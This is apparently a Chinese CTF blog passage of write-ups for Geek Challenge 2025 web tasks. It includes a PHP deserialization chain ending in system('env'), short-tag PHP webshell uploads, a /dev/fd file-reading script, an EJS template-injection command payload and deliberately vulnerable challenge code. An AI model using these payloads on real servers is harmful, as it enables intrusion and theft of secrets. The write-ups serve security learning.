echo(\"\u627e\u5230\u4e86\uff01\u4f46\u597d\u50cf\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\uff0c\u600e\u4e48\u529e\uff0c\u6211\u597d\u60f3\u5979&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $file = \"key.php\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  readfile($file);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u4f60\u522b\u8fd9\u6837\uff0c\u5979\u4f1a\u751f\u6c14\u7684\u252d\u252e\ufe4f\u252d\u252e\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u5c31\u8fd9\u70b9\u80fd\u8010\uff1f\u600e\u4e48\u5e2e\u6211\u627e\u5230\u5979(\u2565\u256f^\u2570\u2565)&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br> &nbsp;  public function __get($good) {<br> &nbsp; &nbsp; &nbsp;  echo \"you are good,\u4f60\u5feb\u627e\u5230\u6211\u7231\u7684\u90a3\u4e2a\u5979\u4e86&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  $zhui = $this-&gt;$good; &nbsp;<br> &nbsp; &nbsp; &nbsp;  $zhui[$good](); &nbsp;<br> &nbsp;  }<br>}<br>\u200b<br>if (isset($_GET['user'])) {<br> &nbsp;  $user = $_GET['user'];<br> &nbsp;  if (!preg_match(\"\/^[Oa]:[\\d]+\/i\", $user)) {<br> &nbsp; &nbsp; &nbsp;  unserialize($user);<br> &nbsp;  }<br> &nbsp;  else {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u4e0d\u662f\u5427\uff0c\u7b2c\u4e00\u5c42\u90fd\u7ed5\u4e0d\u8fc7\u53bb\uff1f\uff1f\uff1f&lt;br&gt;\");<br> &nbsp;  }<br>}<br>else {<br> &nbsp;  echo(\"\u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01&lt;br&gt;\");<br>}<br>?&gt;  \u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">if (isset($_GET['user'])) {<br> &nbsp;  $user = $_GET['user'];<br> &nbsp;  if (!preg_match(\"\/^[Oa]:[\\d]+\/i\", $user)) {<br> &nbsp; &nbsp; &nbsp;  unserialize($user);<br> &nbsp;  }<br> &nbsp;  else {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u4e0d\u662f\u5427\uff0c\u7b2c\u4e00\u5c42\u90fd\u7ed5\u4e0d\u8fc7\u53bb\uff1f\uff1f\uff1f&lt;br&gt;\");<br> &nbsp;  }<br>}<br>else {<br> &nbsp;  echo(\"\u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01&lt;br&gt;\");<br>}<br>\u5148\u770b\u6700\u540e\u7684\uff1a\u53d1\u73b0\u6709\u6b63\u5219\u5339\u914d\uff1a\u53c2\u8003\u7ed5\u8fc7Oa:\\d\u7684\u6b63\u5219\uff0c\u4f7f\u7528C\u5c5e\u6027<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7136\u540e\u5c31\u5f00\u59cb\u770bpop\u94fe\u5b50\u4e86<br>Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()<\/pre>\n\n\n\n<p>\u4e4b\u540e\u8865\u4e0a\u5427<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">2025web<\/h1>\n\n\n\n<p>\u8fd9\u8fb9\u52a0\u4e0a\u4e00\u624b\u5b98\u65b9wp<\/p>\n\n\n\n<p><a href=\"https:\/\/h0lm2pyudgf.feishu.cn\/wiki\/WfIrwr9FlivYtckwd66cPzCNnHd\">\u200c\u200c\u202c\u200d\u200c\u200d\u2060\u200d\u200c\ufeff\u200c\u202c\ufeff\u2060\u200d\ufeff\u2060\ufeff\ufeff\ufeff\ufeff\u200c\ufeff\u202c\u200d\u202c\u2060\u200c\u200c\u7b2c\u5341\u516d\u5c4a\u6781\u5ba2\u5927\u6311\u6218\u5b98\u65b9 Writeup &#8211; \u98de\u4e66\u4e91\u6587\u6863<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">week1<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u963f\u57fa\u91cc\u65af\u8ffd\u4e4c\u9f9f<\/h3>\n\n\n\n<p>\u6293\u5305\u5728\u91cc\u9762\u53d1\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{\"data\":\"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTEwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMTEwMDAwMDAwMH0=\"}<\/pre>\n\n\n\n<p>\u662f\u8fd9\u6837\u7684\uff0c\u7136\u540e\u6539\u4e00\u4e0b\u8ba9\u963f\u57fa\u91cc\u65af\u5927\u4e8e\u4e4c\u9f9f\u5c31ok\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">popself<\/h3>\n\n\n\n<p>\u6709\u540c\u5b66\u8ddf\u6211\u8bf4\u4ed6\u53ea\u4f1a\u505a\u4e00\u4e2a\u7c7b\u7684php\u53cd\u5e8f\u5217\u5316\u9898\uff0c\u90a3\u6765\u8bd5\u8bd5\u770b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>show_source(__FILE__);<br>\u200b<br>error_reporting(0);<br>class All_in_one<br>{<br> &nbsp;  public $KiraKiraAyu;<br> &nbsp;  public $_4ak5ra;<br> &nbsp;  public $K4per;<br> &nbsp;  public $Sams\u0101ra;<br> &nbsp;  public $komiko;<br> &nbsp;  public $Fox;<br> &nbsp;  public $Eureka;<br> &nbsp;  public $QYQS;<br> &nbsp;  public $sleep3r;<br> &nbsp;  public $ivory;<br> &nbsp;  public $L;<br>\u200b<br> &nbsp;  public function __set($name, $value){<br> &nbsp; &nbsp; &nbsp;  echo \"\u4ed6\u8fd8\u662f\u6ca1\u6709\u5fd8\u8bb0\u90a3\u4e2a\".$value.\"&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  echo \"\u6536\u96c6\u590f\u65e5\u7684\u788e\u7247\u5427&lt;br&gt;\";<br>\u200b<br> &nbsp; &nbsp; &nbsp;  $fox = $this-&gt;Fox;<br>\u200b<br> &nbsp; &nbsp; &nbsp;  if ( !($fox instanceof All_in_one) &amp;&amp; $fox()===\"summer\"){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"QYQS enjoy summer&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u5f00\u542f\u5faa\u73af\u5427&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $komiko = $this-&gt;komiko;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $komiko-&gt;Eureka($this-&gt;L, $this-&gt;sleep3r);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  public function __invoke(){<br> &nbsp; &nbsp; &nbsp;  echo \"\u606d\u559c\u6210\u529fsignin!&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  echo \"welcome to Geek_Challenge2025!&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  $f = $this-&gt;Sams\u0101ra;<br> &nbsp; &nbsp; &nbsp;  $arg = $this-&gt;ivory;<br> &nbsp; &nbsp; &nbsp;  $f($arg);<br> &nbsp;  }<br> &nbsp;  public function __destruct(){<br>\u200b<br> &nbsp; &nbsp; &nbsp;  echo \"\u4f60\u80fd\u8ba9K4per\u548cKiraKiraAyu\u7ec4\u6210\u4e00\u961f\u5417&lt;br&gt;\";<br>\u200b<br> &nbsp; &nbsp; &nbsp;  if (is_string($this-&gt;KiraKiraAyu) &amp;&amp; is_string($this-&gt;K4per)) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (md5(md5($this-&gt;KiraKiraAyu))===md5($this-&gt;K4per)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  die(\"boys\u548c\u800c\u4e0d\u540c&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if(md5(md5($this-&gt;KiraKiraAyu))==md5($this-&gt;K4per)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"BOY\u2642 sign GEEK&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u5f00\u542f\u5faa\u73af\u5427&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $this-&gt;QYQS-&gt;partner = \"summer\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"BOY\u2642 can`t sign GEEK&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo md5(md5($this-&gt;KiraKiraAyu)).\"&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo md5($this-&gt;K4per).\"&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  die(\"boys\u5802\u5802\u6b63\u6b63\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  public function __tostring(){<br> &nbsp; &nbsp; &nbsp;  echo \"\u518d\u8d70\u4e00\u6b65...&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  $a = $this-&gt;_4ak5ra;<br> &nbsp; &nbsp; &nbsp;  $a();<br> &nbsp;  }<br>\u200b<br> &nbsp;  public function __call($method, $args){ &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp;  if (strlen($args[0])&lt;4 &amp;&amp; ($args[0]+1)&gt;10000){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u518d\u8d70\u4e00\u6b65&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo $args[1];<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u4f60\u8981\u52aa\u529b\u8fdb\u7a84\u95e8&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<br>class summer {<br> &nbsp;  public static function find_myself(){<br> &nbsp; &nbsp; &nbsp;  return \"summer\";<br> &nbsp;  }<br>}<br>$payload = $_GET[\"24_SYC.zip\"];<br>\u200b<br>if (isset($payload)) {<br> &nbsp;  unserialize($payload);<br>} else {<br> &nbsp;  echo \"\u6ca1\u6709\u5927\u5bb6\u7684\u538b\u7f29\u5305\u7684\u8bdd\uff0c\u74e6\u8fbe\u897f\uff01&lt;br&gt;\";<br>}<br>?&gt;<\/pre>\n\n\n\n<p>\u8fd9\u91cc\u4f7f\u7528\u5230\u4e86php\u91cc\u9762md5\u7684\u4e00\u4e2a\u5c0f\u7279\u6027(\u611f\u89c9php)\u5904\u7406 &#8220;\u6570\u5b57e\u6570\u5b57&#8221; \u8fd9\u6837\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u8ba4\u4e3a\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">md5(\"0e123\") == md5(0) \/\/true<br>md5(\"0e123\") == md5(\"0e456\") \/\/true<\/pre>\n\n\n\n<p>\u5176\u4e2d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">(md5(md5($this-&gt;KiraKiraAyu))==md5($this-&gt;K4per<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">import hashlib<br>import itertools<br>import string<br>\u200b<br>def md5(s: str) -&gt; str:<br> &nbsp; &nbsp;return hashlib.md5(s.encode()).hexdigest()<br>\u200b<br>def is_magic_hash(h: str) -&gt; bool:<br> &nbsp; &nbsp;# \u68c0\u67e5\u662f\u5426\u7b26\u5408 0e\\d+ \u683c\u5f0f<br> &nbsp; &nbsp;return h.startswith(\"0e\") and h[2:].isdigit()<br>\u200b<br>def search():<br> &nbsp; &nbsp;chars = string.ascii_letters + string.digits<br> &nbsp; &nbsp;for length in range(1, 6): &nbsp;# \u5148\u5c1d\u8bd5\u957f\u5ea6 1-5<br> &nbsp; &nbsp; &nbsp; &nbsp;for s in itertools.product(chars, repeat=length):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s = \"\".join(s)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;h1 = md5(s)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;h2 = md5(h1)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if is_magic_hash(h2):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"[FOUND] {s} -&gt; md5(md5(s)) = {h2}\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return<br> &nbsp; &nbsp;print(\"\u6ca1\u627e\u5230\u7b26\u5408\u6761\u4ef6\u7684\u5b57\u7b26\u4e32\uff08\u81f3\u5c11\u5728\u6d4b\u8bd5\u8303\u56f4\u5185\uff09\u3002\")<br>\u200b<br>if __name__ == \"__main__\":<br> &nbsp; &nbsp;search()<\/pre>\n\n\n\n<p>\u8dd1\u51fa\u6765\u662ff2WfQ\u662f<strong>\u53cc\u91cd MD5 \u54c8\u5e0c\u503c\u4e3a Magic Hash\uff08\u9b54\u672f\u54c8\u5e0c\uff09\u201d \u7684\u5b57\u7b26\u4e32<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">strlen($args[0])&lt;4 &amp;&amp; ($args[0]+1)&gt;10000<\/pre>\n\n\n\n<p>\u7136\u540e\u8fd8\u6709\u4e00\u4e2a\u8fd9\u4e2a\uff0c\u540c\u6837\u662f\u5229\u7528\u4e86\u6570\u503c\u5b57\u7b26\u4e32\u7684\u7279\u6027\uff0c\u5f53\u6211\u4eec\u4f20\u7684\u662f3e4\u662f\uff0c\u4f1a\u62ff3\u4e0e4\u4f5c\u6bd4\u8f83\uff0c\u7136\u540e\u540e\u9762\u662f3*10^4+1&gt;10000\u4f7f\u5176\u6210\u7acb<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>\u200b<br>class All_in_one<br>{<br> &nbsp;  public $KiraKiraAyu;<br> &nbsp;  public $_4ak5ra;<br> &nbsp;  public $K4per;<br> &nbsp;  public $Sams\u0101ra;<br> &nbsp;  public $komiko;<br> &nbsp;  public $Fox;<br> &nbsp;  public $Eureka;<br> &nbsp;  public $QYQS;<br> &nbsp;  public $sleep3r;<br> &nbsp;  public $ivory=\"zzz\";<br> &nbsp;  public $L;<br>}<br>\u200b<br>class summer {<br> &nbsp;  public static function find_myself(){<br> &nbsp; &nbsp; &nbsp;  return \"summer\";<br> &nbsp;  }<br>}<br>\u200b<br>$a = new All_in_one();<br>$a-&gt;KiraKiraAyu = \"f2WfQ\";<br>$a-&gt;K4per = \"QNKCDZO\";<br>$a-&gt;QYQS = new All_in_one();<br>$a-&gt;QYQS-&gt;Fox=[\"summer\",\"find_myself\"];<br>$a-&gt;QYQS-&gt;L = \"2e4\";<br>\u200b<br>$a-&gt;QYQS-&gt;komiko = new All_in_one();<br>$a-&gt;QYQS-&gt;sleep3r = new All_in_one();<br>\u200b<br>$a-&gt;QYQS-&gt;sleep3r-&gt;_4ak5ra = new All_in_one();<br>$a-&gt;QYQS-&gt;sleep3r-&gt;_4ak5ra-&gt;ivory = \"env\";<br>$a-&gt;QYQS-&gt;sleep3r-&gt;_4ak5ra-&gt;Sams\u0101ra = \"system\";<br>\u200b<br>echo urlencode(serialize($a));<br>\u200b<br>?&gt;<\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\u5148\u53bb\u89e6\u53d1__destruct()\uff0c\u7136\u540e\u901a\u8fc7QYQS-&gt;partner\u53bb\u89e6\u53d1set\uff0c\u5e76\u4e14$a-&gt;QYQS-&gt;Fox=[&#8220;summer&#8221;,&#8221;find_myself&#8221;];\u8ba9\u4ed6\u53bb\u8fd4\u56de<\/p>\n\n\n\n<p>summer\u4f1a\u8c03\u7528$komiko-&gt;Eureka($this-&gt;L, $this-&gt;sleep3r)\u7136\u540e\u89e6\u53d1<em>_call ()\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\u4e4b\u540eecho $args[1];\u53bb\u89e6\u53d1tostring\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5$a-&gt;QYQS-&gt;sleep3r-&gt;<\/em>4ak5ra = new All_in_one();-&gt;<code>_toString()<\/code>\u89c4\u5219\u4f1a\u8c03\u7528<code>_4ak5ra()<\/code>\uff08\u628a_4ak5ra \u76d2\u5b50\u5f53\u6210\u51fd\u6570\u7528\uff09\uff0c\u89e6\u53d1<code>__invoke()<\/code>\u89c4\u5219\u7136\u540e\u53bb\u6267\u884c$f($arg)\u89e6\u53d1\u547d\u4ee4system(&#8216;env&#8217;);\u62ff\u4e0bflag\uff08\u5b98\u65b9\u5389\u5bb3\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">one_last_image<\/h3>\n\n\n\n<p>\u4ed6\u5e76\u6ca1\u6709\u53bb\u8fc7\u6ee4php\uff0c\u4e0d\u8fc7\u600e\u4e48\u53bb\u6267\u884c\u547d\u4ee4\u6210\u4e86\u95ee\u9898\uff0c\u4ee5\u5b57\u7b26\u4e32\u7684\u5f62\u5f0f\u8fc7\u6ee4\u4e86\u5e38\u89c1\u7684php\u6807\u7b7e\u4ee5\u53ca\u547d\u4ee4\u6267\u884c\u51fd\u6570<\/p>\n\n\n\n<p>\u4f7f\u7528\u77ed\u6807\u7b7e\u7ed5\u8fc7<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Content-Disposition: form-data; name=\"image\"; filename=\"1.php\"<br>Content-Type: image\/jpeg<br>\u200b<br>&lt;?=`env`;<br>&lt;?=('sys'.'tem')('env');\/\/\u6bcf\u4e00\u4e2a\u90fd\u884c<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Vibe SEO<\/h3>\n\n\n\n<p>&#8220;\u6211\u8ba9 AI \u5e2e\u6211\u505a\u4e86\u641c\u7d22\u5f15\u64ce\u4f18\u5316\uff0c\u5b83\u597d\u50cf\u8bf4\u4ec0\u4e48\u300e\u641c\u7d22\u5f15\u64ce\u559c\u6b22\u7ed3\u6784\u5316\u7684\u7ad9\u70b9\u5730\u56fe\u300f\uff0c\u867d\u7136\u4e0d\u662f\u5f88\u61c2\u5c31\u662f\u4e86&#8221;<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u5f00\u573a\u5c31\u662f\u597d\u770b\u54c8\uff0c<code>sitemap.xml<\/code> \u662f\u6700\u5e38\u7528\u7684<strong>\u7ed3\u6784\u5316\u7ad9\u70b9\u5730\u56fe\u6587\u4ef6<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"&gt;<br>&lt;script\/&gt;<br>&lt;url&gt;<br>&lt;loc&gt;http:\/\/localhost\/&lt;\/loc&gt;<br>&lt;changefreq&gt;weekly&lt;\/changefreq&gt;<br>&lt;\/url&gt;<br>&lt;url&gt;<br>&lt;loc&gt;http:\/\/localhost\/aa__^^.php&lt;\/loc&gt;<br>&lt;changefreq&gt;never&lt;\/changefreq&gt;<br>&lt;\/url&gt;<br>&lt;\/urlset&gt;<\/pre>\n\n\n\n<p>\u76f4\u63a5\u53bb\u8bbf\u95eeaa__^^.php<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Warning: Undefined array key \"filename\" in \/var\/www\/html\/aa__^^.php on line 3<br>\u200b<br>Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in \/var\/www\/html\/aa__^^.php on line 3<br>\u200b<br>Warning: Undefined array key \"filename\" in \/var\/www\/html\/aa__^^.php on line 4<br>\u200b<br>Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in \/var\/www\/html\/aa__^^.php on line 4<br>\u200b<br>Fatal error: Uncaught ValueError: Path cannot be empty in \/var\/www\/html\/aa__^^.php:4 Stack trace: #0 \/var\/www\/html\/aa__^^.php(4): readfile('') #1 {main} thrown in \/var\/www\/html\/aa__^^.php on line 4<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u811a\u672c\u6b63\u5728\u5bfb\u627e\u4e00\u4e2a\u53eb <code>filename<\/code> \u7684\u53c2\u6570<\/li>\n\n\n\n<li><code>readfile()<\/code> \u7ed9ai,\u5927\u6982\u51fa\u6765\u8fd9\u6837\u7684\u4ee3\u7801<br>\/\/ \u7b2c3\u884c\uff1a\u60f3\u7b97filename\u53c2\u6570\u7684\u957f\u5ea6\uff0c\u4f46filename\u6ca1\u4f20<br>if (strlen($_GET[&#8216;filename&#8217;]) > 0) {<br>\/\/ \u7b2c4\u884c\uff1a\u60f3\u8bfb\u53d6filename\u6307\u5b9a\u7684\u6587\u4ef6\uff0c\u4f46filename\u662f\u7a7a\u7684<br>\u00a0 readfile($_GET[&#8216;filename&#8217;]);<br>}<\/li>\n<\/ul>\n\n\n\n<p>\u968f\u4fbf\u4f20?filename=xxx\u53d1\u73b0\u662f readfile(xxx): Failed to open stream<\/p>\n\n\n\n<p>ok\uff0c\u6587\u4ef6\u5305\u542b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4f20aa__%5E%5E.php?filename=aa__%5E%5E.php<br>&lt;?php<br>$flag = fopen('\/my_secret.txt', 'r');<br>if (strlen($_GET['filename']) &lt; 11) {<br>  readfile($_GET['filename']);<br>} else {<br>  echo \"Filename too long\";<br>}<\/pre>\n\n\n\n<p>\uff1fai\u725b\u903c\uff0cok\uff0c\u79d2\u4e86\uff0c\u4e0d\u6ca1\u6709\uff0c\u8fd9\u4e2a <code>my_secret.txt<\/code> \u957f\u5ea6\u663e\u7136\u8d85\u8fc7\u4e86 11\uff0c\u524d\u9762 <code>fopen<\/code> \u6253\u5f00\u4e86\u76ee\u6807\u6587\u4ef6 <code>\/my_secret.txt<\/code>\uff0c\u5e76\u5c06 handle \u8d4b\u503c\u7ed9\u4e86\u53d8\u91cf <code>$flag<\/code><\/p>\n\n\n\n<p>\uff08Linux \u4e2d\u4e00\u4e2a\u8fdb\u7a0b\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u65f6\uff0c\u5185\u6838\u4f1a\u5206\u914d\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\u7ed9\u8fd9\u4e2a\u6587\u4ef6 handle\uff0c\u65b0\u6253\u5f00\u7684\u6587\u4ef6\u4ece 3 \u5f00\u59cb\u9012\u589e\uff0c\u53ef\u4ee5\u901a\u8fc7 <code>\/proc\/self\/fd\/&lt;\u81ea\u7136\u6570&gt;<\/code> \u6216 <code>\/dev\/fd\/&lt;\u81ea\u7136\u6570&gt;<\/code> \u6765\u8bbf\u95ee\u8fd9\u4e9b\u6587\u4ef6\u63cf\u8ff0\u7b26 \uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import requests<br>\u200b<br>URL = \"http:\/\/REPLACE TO YOUR URL\"<br>\u200b<br>for i in range(99):<br> &nbsp; &nbsp;print(requests.get(URL + f\"\/aa__^^.php?filename=\/dev\/fd\/{i}\").text)<\/pre>\n\n\n\n<p>\u901a\u8fc7<code>filename<\/code>\u53c2\u6570\u8bfb\u53d6\u6587\u4ef6\uff0c\u4ee3\u7801\u5c31\u81ea\u52a8\u8bd5<code>\/dev\/fd\/0<\/code>\u3001<code>\/dev\/fd\/1<\/code>\u3001<code>\/dev\/fd\/2<\/code>&#8230;\uff0c\u76f4\u5230\u627e\u5230\u85cf\u7740 flag \u7684\u90a3\u4e2a\u7f16\u53f7<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Expression<\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u7a0b\u5e8f\u5458\u5077\u61d2\u76f4\u63a5\u590d\u5236\u7c98\u8d34\u7f51\u4e0a\u7684\u4ee3\u7801\u8fde JWT \u5bc6\u94a5\u90fd\u4e0d\u6539..\uff1f<\/p>\n\n\n\n<p>\u968f\u4fbf\u6ce8\u518c\u8fdb\u53bb\uff0c\u9875\u9762\u662f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6b22\u8fce\uff0cuser_96a12632210f \uff01<\/pre>\n\n\n\n<p>\u6839\u636e\u63d0\u793a\uff0c\u67e5\u770bjwt\u5bc6\u94a5\uff0c\u7136\u540e\u53bb\u7206\u7834\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u65e0\u5f71\u5de5\u5177\uff0c\u76f4\u63a5\u7206\u7834\u51fa\u6765\u5bc6\u94a5\u662fc2VjcmV0\uff0c\u7136\u540e\u53d1\u73b0\u4f60\u7684user\u5c31\u662f\u4f60\u56de\u663e\u7684\uff0c\u8fd9\u91cc\u53ef\u80fd\u662fssti\u4ee5\u53caxss,\u53e6\u5916\u670d\u52a1\u7aef\u7684\u54cd\u5e94\u5934\u8fd8\u6709\u4e00\u6761\uff1a<code>X-Powered-By: Express<\/code>\uff0c\u56e0\u6b64\u670d\u52a1\u7aef\u662f ExpressJS \u3002<\/p>\n\n\n\n<p>\u90a3\u5c31\u662fEJS_SSTI\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;%= global.process.mainModule.require ('child_process').execSync ('env') %&gt; \u67e5\u770benv\u73af\u5883\u53d8\u91cf<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Xross The Finish Line<\/h3>\n\n\n\n<p>\u770b\u5b98\u65b9wp\u5427<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">week2<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">ez_read<\/h3>\n\n\n\n<p>\u5148\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\uff0c\u53d1\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">...\/.\/app.py<br>\u53d1\u73b0\u51fa\u6765\u6e90\u4ee3\u7801<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">from flask import Flask, request, render_template, render_template_string, redirect, url_for, session<br>import os<br>\u200b<br>app = Flask(__name__, template_folder=\"templates\", static_folder=\"static\")<br>app.secret_key = \"key_ciallo_secret\"<br>\u200b<br>USERS = {}<br>\u200b<br>\u200b<br>def waf(payload: str) -&gt; str:<br> &nbsp;  print(len(payload))<br> &nbsp;  if not payload:<br> &nbsp; &nbsp; &nbsp;  return \"\"<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp;  if len(payload) not in (114, 514):<br> &nbsp; &nbsp; &nbsp;  return payload.replace(\"(\", \"\")<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  waf = [\"__class__\", \"__base__\", \"__subclasses__\", \"__globals__\", \"import\",\"self\",\"session\",\"blueprints\",\"get_debug_flag\",\"json\",\"get_template_attribute\",\"render_template\",\"render_template_string\",\"abort\",\"redirect\",\"make_response\",\"Response\",\"stream_with_context\",\"flash\",\"escape\",\"Markup\",\"MarkupSafe\",\"tojson\",\"datetime\",\"cycler\",\"joiner\",\"namespace\",\"lipsum\"]<br> &nbsp; &nbsp; &nbsp;  for w in waf:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if w in payload:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  raise ValueError(f\"waf\")<br>\u200b<br> &nbsp;  return payload<br>\u200b<br>\u200b<br>@app.route(\"\/\")<br>def index():<br> &nbsp;  user = session.get(\"user\")<br> &nbsp;  return render_template(\"index.html\", user=user)<br>\u200b<br>\u200b<br>@app.route(\"\/register\", 